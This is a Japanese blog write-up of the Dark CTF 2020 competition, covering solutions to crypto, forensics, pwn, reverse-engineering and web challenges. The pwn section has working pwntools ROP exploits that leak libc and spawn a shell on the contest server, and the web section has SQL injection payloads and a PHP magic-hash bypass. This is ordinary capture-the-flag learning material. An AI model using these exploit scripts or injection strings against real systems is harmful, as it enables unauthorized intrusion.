Dark CTF 2020 参加記 , Writeup
0. 雑
APIO終わってから全然CTFやってなかったので、現実t 暇つぶしがてら久しぶりにやってみました。
全体としては、72問中18問と丁度1/4解けたので結構良かったかなと思います。
順位は 808チーム中 124 位でした。今回はソロプレイだったんですが、パ研のセキュリティ班にCTFが布教できたらチームプレイもやってみたい所です。
1. Crypto [3/10]
1-1. Pipe Rhyme
公開鍵 n,e と暗号文 c が与えられるので、復号する問題。なんか値が16進数になってるので分かりにくいですが、eが65537なので既知の解き方で解けそうだと思い 、RsaCtfTool に投げたら解けました(???)
N=0x3b7c97ceb5f01f8d2095578d561cad0f22bf0e9c94eb35a9c41028247a201a6db95f e=0x10001 ct=0x1B5358AD42B79E0471A9A8C84F5F8B947BA9CB996FA37B044F81E400F883A309B886
1-2. Easy RSA
Nが与えられていませんが、e=3 と小さいので 暗号文は平文の3乗とエスパー。
c=70415348471515884675510268802189400768477829374583037309996882626710413688161405504039679028278362475978212535629814001515318823882546599246773409243791879010863589636128956717823438704956995941 ok,ng=0,70415348471515884675510268802189400768477829374583037309996882626710413688161405504039679028278362475978212535629814001515318823882546599246773409243791879010863589636128956717823438704956995941 while ng-ok>1: mid=(ok+ng)//2 if mid*mid*mid<=c: ok=mid else : ng=mid print(ok) from Crypto.Util.number import inverse,long_to_bytes flag=long_to_bytes(ok).decode() print(flag)
1-3. WEIRD ENCRYPTION
暗号化プログラムと、暗号後のテキストが与えられるので、それを復号する問題です。
0 〜 0x100 まで全探索して、詰まったら戻るみたいなソルバーを書きました。
月刊競技プログラミングは役に立つ!!
配布された暗号化プログラム
prefix="Hello. Your flag is DarkCTF{" suffix="}." main_string="c an u br ea k th is we ir d en cr yp ti on".split() clear_text = prefix + flag + suffix enc_text = "" for letter in clear_text: c1 = ord(letter) / 16 c2 = ord(letter) % 16 enc_text += main_string[c1] enc_text += main_string[c2] print enc_text
ソルバー
prefix="Hello. Your flag is DarkCTF{" suffix="}." main_string="c an u br ea k th is we ir d en cr yp ti on".split() enc="eawethkthcrthcrthonutiuckirthoniskisuucthththcrthanthisucthirisbruceaeathanisutheneabrkeaeathisenbrctheneacisirkonbristhwebranbrkkonbrisbranthypbrbrkonkirbrciskkoneatibrbrbrbrtheakonbrisbrckoneauisubrbreacthenkoneaypbrbrisyputi" i,j=0,0 start=[0]*300 ans=[0]*300 while i<len(enc): while start[j]<0x100: st=main_string[start[j]//16]+main_string[start[j]%16] if i+len(st)<=len(enc) and enc[i:i+len(st)]==st: ans[j]=start[j] i+=len(st) j+=1 break start[j]+=1 if start[j]==0x100: start[j]=0 start[j-1]+=1 st=main_string[ans[j-1]//16]+main_string[ans[j-1]%16] i-=len(st) j-=1 for k in range(j): print(chr(ans[k]),end='') print("")
2. Forensics [2/10]
2-1. Wolfie's Contact
ファイルに DarkCTF{
と書かれた部分を grep で探し、前後を眺めたら解けました。ほとんどエスパー
2-2. AW
これはよくある手法なんですが、mp4をmp3にしてからsonic visualiser でスペクトル見たら見つけました。0とO,1とlがどっちか分からなかったので色々試したら通りました。
配布されたのが The Spectre だったのが大ヒントってわけですね。
darkCTF{1_l0v3_5p3ctr3_fr0m_4l4n}
3. Linux [1/6]
自明しか取れず...
3-1. linux starter
これ誰でも解けそう。cd と cat しか使いません。
4. Misc [1/13]
無〜
4-1. sanity_check
Discordに入り、指示に従うとBotからDMが送られてきます。
5. OSINT [0/7]
何も解けてません。OSINT何も分からない〜
6. Pwn [2/7]
両方同じ問題に見えるけど、なに???
pwntoolsありがとう
6-1. roprop
適当に大量に入力するとセグフォしたので、BOFかなーと思い gdbで offset を特定。
objdump してみるとputsを使っているので、ROP で puts を使って puts の GOT アドレスを吐かせて libc database search で libc を特定。
libc base が分かった所で、system(/bin/sh)
呼び出してAC。
64bit なので、途中に ret を挟んでおくことを忘れないようにしましょう〜
PIEとSSP無効で、何らかの出力してる問題って結構な割合でこれで解ける気がします。
from pwn import * elf=ELF("./roprop") #p=process("./roprop") p=remote("pwn.darkarmy.xyz",5002) context(os="linux",arch="amd64") payload=b"A"*88 rop=ROP(elf) rop.raw(rop.find_gadget(['ret'])) rop.puts(elf.got['puts']) rop.main() log.info(rop.dump()) payload+=rop.chain() p.sendlineafter(b"19's.\n\n",payload) puts_addr=u64(p.recvline()[:8].strip().ljust(8,b'\x00')) log.info(hex(puts_addr)) libc=ELF("./libc6_2.27-3ubuntu1.2_amd64.so") libc.address=puts_addr-libc.symbols['puts'] log.success(hex(libc.address)) rop2=ROP(libc) payload=b"A"*88 rop2.system(next(libc.search(b"/bin/sh\x00"))) log.info(rop2.dump()) payload+=rop2.chain() p.sendlineafter(b"19's.\n\n",payload) p.interactive()
6-2. newPaX
これ、1問目と違うの 32 bit か 64bit かと、puts で吐かせるか printf で吐かせるかくらいしかない気がするんですが、、、
from pwn import * elf=ELF("./newPaX") #p=process("./newPaX") p=remote("pwn.darkarmy.xyz",5001) context(os="linux",arch="i386") rop=ROP(elf) payload=b"A"*52 rop.printf(elf.got['printf']) rop.vuln() log.info(rop.dump()) payload+=rop.chain() p.sendline(payload) printf_addr=u32(p.recv(4)) log.info(hex(printf_addr)) libc=ELF("./libc6-i386_2.27-3ubuntu1.2_amd64.so") libc.address=printf_addr-libc.symbols['printf'] log.success(hex(libc.address)) rop2=ROP(libc) rop2.system(next(libc.search(b'/bin/sh\x00'))) log.info(rop2.dump()) payload=b"A"*52+rop2.chain() p.sendline(payload) p.interactive()
7. Rev [3/8]
IDAとGhidraの組み合わせ、最強!笑
7-1. so_much
Ghidra で流れを理解してから、IDAでデバッグして計算結果をもらってくるだけ。
入力に対して操作をするわけではなく、計算結果と入力を比較するタイプなのでやりやすいですね〜
7-2. HelloWorld
1問目と同様、Ghidra -> IDA の流れ。
7-3. strings
これを入力しろってのが与えられてるので、その通りに入力してIDAで追うと、それっぽい文字列が見つかるのでdarkCTF{}で囲って祈ると、通りました(なんで?)
プログラム内で何をやってるかは、よく分からないです...
8. Web [5/10]
苦手意識あったんですが、結構解けて嬉しいです。
8-1. Source
PHPファイルを見ると、Agent名が3桁以下かつ、10000以上と書いてあるので User-Agent-Switcher とか使って、Agent名を 1e5 とかにすればAC。
<html> <head> <title>SOURCE</title> <style> #main { height: 100vh; } </style> </head> <body><center> <link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> <?php $web = $_SERVER['HTTP_USER_AGENT']; if (is_numeric($web)){ if (strlen($web) < 4){ if ($web > 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> <p>darkCTF{}</p></div>'); } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> <p>Ohhhhh!!! Very Close </p></div>'); } } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> <p>Nice!!! Near But Far</p></div>'); } } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> <p>Ahhhhh!!! Try Not Easy</p></div>'); } ?> </center> <!-- Source is helpful --> </body> </html>
Agent名戻すの忘れてて、Googleが壊れて焦りました。
8-2. Apache Logs
最後の方を見ると、ASCII番号の羅列っぽい怪しい URL Encode があるので、Decode してから 数字の羅列をASCII に変換すると FLAG が出てきました。
192.168.32.1 - - [29/Sep/2015:03:39:46 -0400] "GET /mutillidae/index.php?page=client-side-control-challenge.php HTTP/1.1" 200 9197 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C%2B108%2C%2B97%2C%2B103%2C%2B32%2C%2B105%2C%2B115%2C%2B32%2C%2B68%2C%2B97%2C%2B114%2C%2B107%2C%2B67%2C%2B84%2C%2B70%2C%2B123%2C%2B53%2C%2B113%2C%2B108%2C%2B95%2C%2B49%2C%2B110%2C%2B106%2C%2B51%2C%2B99%2C%2B116%2C%2B49%2C%2B48%2C%2B110%2C%2B125%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
8-3. So_Simple
結構苦戦しました。テーブル名が users だとエスパーして、
'union select * from users where `Password` like binary '%{}'#
を投げるもFAKEのflagが帰ってきてしまったので、SQL injection の Q が入ってそうとエスパーして
'union select * from users where `Password` like binary '%{%q%}'#
を投げたら正しいflagが帰ってきました(SQLのQではなかった)
8-4. Simple_SQL
これ、id=9 って入れるだけでACしたんだけどなんで???
8-5. PHP Information
PHPのソースコードに従うだけですが、最後のだけは知識が必要です。
実は、md5('240610708') == md5('QNKCDZO') は trueになります(Magic Hash)。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Corona Web</title> </head> <body> <style> body{ background-color: whitesmoke } </style> <?php include "flag.php"; echo show_source("index.php"); if (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['darkctf'])){ $darkctf = $res['darkctf']; } } if ($darkctf === "2020"){ echo "<h1 style='color: chartreuse;'>Flag : $flag</h1></br>"; } if ($_SERVER["HTTP_USER_AGENT"] === base64_decode("MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_1</h1></br>"; } if (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['ctf2020'])){ $ctf2020 = $res['ctf2020']; } if ($ctf2020 === base64_encode("ZGFya2N0Zi0yMDIwLXdlYg==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_2</h1></br>"; } } if (isset($_GET['karma']) and isset($_GET['2020'])) { if ($_GET['karma'] != $_GET['2020']) if (md5($_GET['karma']) == md5($_GET['2020'])) echo "<h1 style='color: chartreuse;'>Flag : $flag_3</h1></br>"; else echo "<h1 style='color: chartreuse;'>Wrong</h1></br>"; } ?> </body> </html> 1
9. おわりに
CTF楽しいので、まだやった事ない人は是非!!JOI勢に勧めて闇討ちを図るか